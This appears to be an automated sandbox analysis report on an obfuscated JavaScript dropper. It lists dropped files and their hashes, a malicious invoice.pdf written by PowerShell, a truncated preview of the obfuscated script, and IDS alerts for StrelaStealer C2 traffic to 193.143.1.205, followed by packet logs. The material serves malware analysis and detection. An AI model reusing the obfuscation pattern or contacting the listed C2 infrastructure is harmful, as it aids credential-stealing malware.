File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\48082a43-a44d-419a-a47c-9cc6bd9fc795.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\69efe70a-712f-41f2-917b-654df2b71d18.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8e6546f7-3038-4035-9333-41be5fced8e4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16641), with CRLF line terminators
Entropy (8bit):	4.90964534510109
TrID:
File name:	395621741190315695.js
File size:	20'150 bytes
MD5:	9abc1df2c15dfccbed0fa555d2e3f98e
SHA1:	6221aaac0d5115c2851ae2a6f548f37d440a2060
SHA256:	a8d847d88a7d321686ec23c4f0c2cccba874683bea97133edfba5213a9febc01
SHA512:	3d07be82980016217ef6d77f4f687de87994472229d588aaff497f8bba608aa575a7f3a71312faac93f83e8a337dfeb75a4619b9162b4b89e9bc5d29117d314a
SSDEEP:	384:WK4a+IJGDn4ugtuZBKNV4MpjzZJTuSxewaqqVJquhnrhc/1FyzMy1gRbsmha69+/:Wha+IJGDn4MuNV4anFxewaqqVJquhnrJ
TLSH:	8B9265D0880AEEB785E054E9E1FD348FA7E6D10885CD55495CC74DAE43B102ABFE34BA
File Content Preview:	function smacil(){nprrdcxpg=[1031,3079,5127,4103,2055,3072];var fvyngt=this[ncqure+aficie+ixqgst+alsakbwa+nrpkwshtu+zrehxwyfg+lctsaefpm+hqjnovqri](this[gybbbbz+gqxnfa+xwzet+ixqgst+fqhyq+ncqure+hqjnovqri][dyxtkofz+ixqgst+nrpkwshtu+aficie+hqjnovqri+nrpkwsht

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:15:13.204782+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T05:15:13.204782+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T05:15:15.703885+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:15:12.369673014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:12.374510050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:12.374655008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:12.379276991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:12.384119034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.204674006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.204694033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.204705000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.204782009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.205369949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.205384016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.205396891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.205409050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.205420971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.205431938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.205432892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.205452919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.205456972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.205478907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.205498934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.272799969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.272855043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.272891998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.272947073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.325668097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.325684071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.325700045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.325730085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.325814962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.325829983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.325840950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.325865030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.325890064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.326154947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.326170921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.326205015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.326339006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.326391935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.326402903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.326414108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.326436996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.326462030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.327066898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.327079058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.327091932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.327101946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.327107906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.327115059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.327161074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.327828884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.327847958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.327886105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.328201056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.328212976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.328223944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.328248978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.328278065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.363432884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.363447905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.363460064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.363498926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.414220095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.444904089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.444921970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.444933891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.444967031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.446542978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446561098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446573973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446584940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446588993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.446597099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446635008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.446804047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446815968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446827888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446846008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446856976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.446866989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.446892977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.447338104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.447369099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.447380066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.447391033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.447406054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.447417974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.447417974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.447473049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.448044062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448055983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448067904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448077917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448090076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448100090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448102951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.448112011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448122978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448137999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.448159933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.448932886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448944092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448955059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448966026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448976994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448982954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.448992968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.449027061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.449028015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449038982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449081898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.449832916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449843884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449855089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449872971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.449875116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449887037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449898005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.449937105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.453876019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.453886032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.453926086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.454013109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.454024076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.454035997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.454046011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.454073906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.454097986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.535635948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.535685062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.535907984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.565881968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.565895081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.565913916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.565924883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.565937042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.566082001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.566097021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.566097021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.566137075 CET	49710	80	192.168.2.6	193.143.1.205
